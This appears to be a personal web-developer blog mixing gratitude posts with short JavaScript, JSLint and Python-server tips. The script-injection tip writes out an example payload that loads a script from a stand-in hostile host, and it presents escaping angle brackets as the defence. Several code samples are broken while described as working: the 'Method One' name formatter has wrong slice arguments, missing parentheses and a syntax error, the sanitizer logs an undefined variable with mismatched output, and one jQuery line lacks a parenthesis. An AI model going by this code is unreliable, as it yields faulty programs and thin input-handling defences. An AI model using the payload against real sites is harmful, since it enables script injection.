Using .jslintrc In an Atom Project

Atom.io has recently become my favorite editor. It’s every bit as powerful as Sublime, and it’s free. There are a bunch of extensions that can be added to the editor to customize it to your needs. JSLint is one of those extensions. What’s JSLint?

JSLint is a useful tool for making sure your javascript stays nice and clean. However, there are a couple of little issues that come into play that can appear as errors in your project. For instance, if you use the Jquery “$” in a file other than jquery.js the $ will be unrecognized, and an error will be displayed. This is where the .jslintrc file comes in handy.

.jslintrc is a file you create in each project that allows you to override jslint defaults. In the case of the JQuery issue mentioned above, I could simply add the predef option like this:

  {
    "predef" : ["$"]
  }

Another issue is that JSLint defaults to 4 spaces for tab indentation. If you use 2 spaces, like me, JSLINT will issue an error. This is also easily fixed with .jslintrc.

  {
    "indent" : 2 
  }

Check out the JSLint page for a complete list of customizable options.

Run Simple Python Server Locally

When I’m building a simple project, I just want to get a simple server up and running with little to no fuss. I don’t use MAMP or WAMP or XAMP or any of those things because I rarely do anything that requires them (I’m not suggesting they’re bad). Since I’m on a Mac, and Python is already installed, I just use the SimpleHTTPServer.

In the terminal, navigate to the web project, and type the following:

python -m SimpleHTTPServer 8000

Then, head over to the browsers and type this into the address bar:

http://localhost:8000

Kaboom!

Prohibit Injectable Scripts

If you’re capturing information in a form element, it’s a good idea to minimize the chances for someone to inject a malicious script into your site. Script injection is one of the methods used to hack a website. Let’s say someone tries to enter the following into your First Name input:

<script src="http://totallyEvil.com/demonScript.js"></script>

An easy thing to do is to convert the “<” and “>” characters into their html entities.

var badScripty = '<script src="totallyEvil.com/demonScript.js"></script>'; 

var safeEntry = badScripty.replace(/</g, "&lt;");
safeEntry = safeEntry.replace(/>/g, "&gt;");

// check safescript
console.log(safeScript);

//returns
&lt;script src="totallyEvilScript.js"&gt;&lt;/script&gt;

Thankful for Dave Ramsey

In 2008, I was facing significant financial hardship. My web design business was failing and things were getting tough at home. We had incurred significant debt trying to keep my business afloat. The stress associated with that situation was continuously building. Something needed to be done. Step one was to set the business aside, as it was a sinking ship in disrepair. Step two… fix the financial situation.

Step one was easy. I went down the road to one of my competitors, explained my situation and he offered my a job. Unfortunately, the salary associated with the job wasn’t enough to repair the financial situation. At least I thought it wasn’t.

I called my bank and asked them if they had any “personal finance” recommendations. We went through the typical spiel of “you must budget, and live within your means” dialogue. Yadda Yadda Yadda. Then, they recommended “The Total Money Makeover” by Dave Ramsey. It was life changing. It was a system I could understand, and put in to practice. It was written in a language that I could comprehend, as opposed to some financial jargon. It was something my wife and I both agreed made sense.

Here we are… a few years later, with a completely changed financial picture. Are we rich? Nope. Are we perfect financial role models? Nope. Are we lightyears ahead of where we were? Absolutely.

Thank you Dave Ramsey.

Formatting a Full Name Entry

Let’s imagine we have a form that captures fullName in a single text field. We’ll assume the person entering their name has only two names, a first name and a last name. In an ideal world, they’d enter their name in a proper format, such as “John Doe.” However, the possibility exists that someone may enter it with different formatting, such as “john doe”, or “john DoE”, or…

We can use the following code to convert the full name to ensure proper formatting:

Method One

// captured from a form field, or a prompt
var fullName = "joHn dOE";

// Return the index of the single space character that separates the names
var spacer = fullName.indexOf(" ");

// Find first name
var firstName = fullName.slice(0, fullName);

// Find last name
var lastName = fullName.slice(fullName + 1);

// Capitalize first letter of each name
firstName = firstName[0].toUpperCase + firstName.slice(1).toLowerCase();
lastName = lastName[0].toUpperCase = lastName.slice(1).toLowerCase();

// Return properly formatted full name
var finalName = firstName + " " lastName;

Method Two

Refactored, using split() and join()

The method above definitely works. There’s a shorter way using the split() method. Rather than searching for the index of the “separator” character, split() will do the work for us. Then we can use the join() method to glue the names back together.

var fullName = "jOHN dOe";
var names = fullName.split(" ");

// Convert First Name
names[0] = names[0].slice(0,1).toUpperCase() + names[0].slice(1).toLowerCase();

// Convert Last Name
names[1] = names[1].slice(0,1).toUpperCase() + names[1].slice(1).toLowerCase();

var finalName = names.join(" ");

Pretty cool, right?

Incrementing a Javascript Array Element

Working on another problem in the Udacity Javascript Basics Course. The goal is to increment the last element in an array by one. This assumes the elements in the array are numbers

Here is my solution:

var sampleArray = [0,0,7];

var incrementLastArrayElement = function(_array) {
  var newArray = _array;
  var arrLength = _array.length-1,
    getLastElement = _array[arrLength],
    editLastElement = getLastElement+1,
    removeLastElement = _array.pop();
    addEditedElement = _array.push(editLastElement);
  return newArray;
};

console.log(incrementLastArrayElement(sampleArray));

// returns: [0,0,8]

And the slightly more elegant version presented by Udacity:

function incrementLastArrayElement(_array)  {
    var newArray = [];
    newArray = _array.slice(0);
    var lastNumber = newArray.pop();
    newArray.push(lastNumber + 1);
    return newArray;
}

Thankful for Low Cost Web Education

OK, so my 30 day thankfulness challenge has met some obstacles. Still trying to keep it going, however. Today, I am thankful for the low cost of web design and development oriented education. With free resources like Codecademy, Thinkster and low cost alternatives like Team Treehouse , Code School, Lynda, Pluralsight, Digital Tutors, there’s really no reason for not being able to learn how to design and develop websites. Go get it!

Javascript String Conversion

This exercise is from the Javascript Basics course from Udacity. The challenge is to use string methods to convert one word into a different word. Here’s my solution:

Convert audacity to Udacity.

Any one of the following methods, combined with the HTML example at the bottom will work.

JS/JQuery

Method One

This was my original attempt. It’s basically string concatenation, with a new string of “U” to the beginning.

var wordToChange = "audacity";
  // slice out "dacity" and concatenate with the letter "U"
var changedWord = "U" + wordToChange.slice(2);
  // Use JQuery to find the container in the DOM with a class of 'changed'
  // Append changedWord to .changed
$('.changed').append(changedWord);

Method Two

I slightly refactored method one here by removing the “U”, and instead treated the string as an array, changing the case on the first character of the desired outcome, and then concatenated it with the rest of the original string.

var wordToChange = "audacity"
wordToChange = wordToChange[1].toUpperCase() + wordToChange.slice(2);
$('.changed').append(wordToChange);

Method Three

This is similar to Udacity’s recommend solution, where they used a function. It’s very similar to my refactored approach above.

var wordToChange = "audacity"
var changedWord = function(wordToChange) {
  wordToChange = wordToChange[1].toUpperCase() + wordToChange.slice(2);
  return wordToChange;
};
$('.changed').append(changedWord(wordToChange);

The HTML

All of the methods above append the result to the DOM. So, by adding this in the HTML, the result will be displayed in the web page.

<div class="changed"></div>

Thankful for Teachers

As part of the continuation of my 30 day thankfulness challenge, I want to send out props to teachers. I’m a firm believer in mentorship. Whether you’re a traditional classroom teacher, or someone who helps others become better, smarter, faster, stronger, healthier, friendlier, or happier, I salute you. Teachers rock!

Personal shout out to Kenwood Dennard and Anthony Wellington, my two favorite teachers!

30 Day Thankfulness Challenge

As part of a commitment in a new class I’m taking, we’ve been challenged with a daily task of thinking of something for which we are thankful. Doesn’t matter what it is… just be thankful. I’ll make an attempt to log these thoughts daily.

The challenge is to think beyond the obvious. Of course I’m thankful for my family. My life would be dramatically different without Sally, Chase and Kayla. Of course I’m thankful for my health… I’d be dead with out it. I’m thankful for my folks, my house, my job, the stars, moon, sun… all that.

I have to start with the first thing that brings me and many others tremendous joy. My first pick is music. I am thankful for music. It’s a communication medium I understand. It creates and strengthens relationships. It develops young minds. It alters moods. It changes perspective. It haunts. It soothes. It can be created in an instant by the whispers of a voice, or in the rhythmic cadence of stomping feet. It connects. It separates. It does so many things, for so many reasons.

The Music Lesson by Victor Wooten is a book that helped me see the impact of music in the world. I highly recommend it.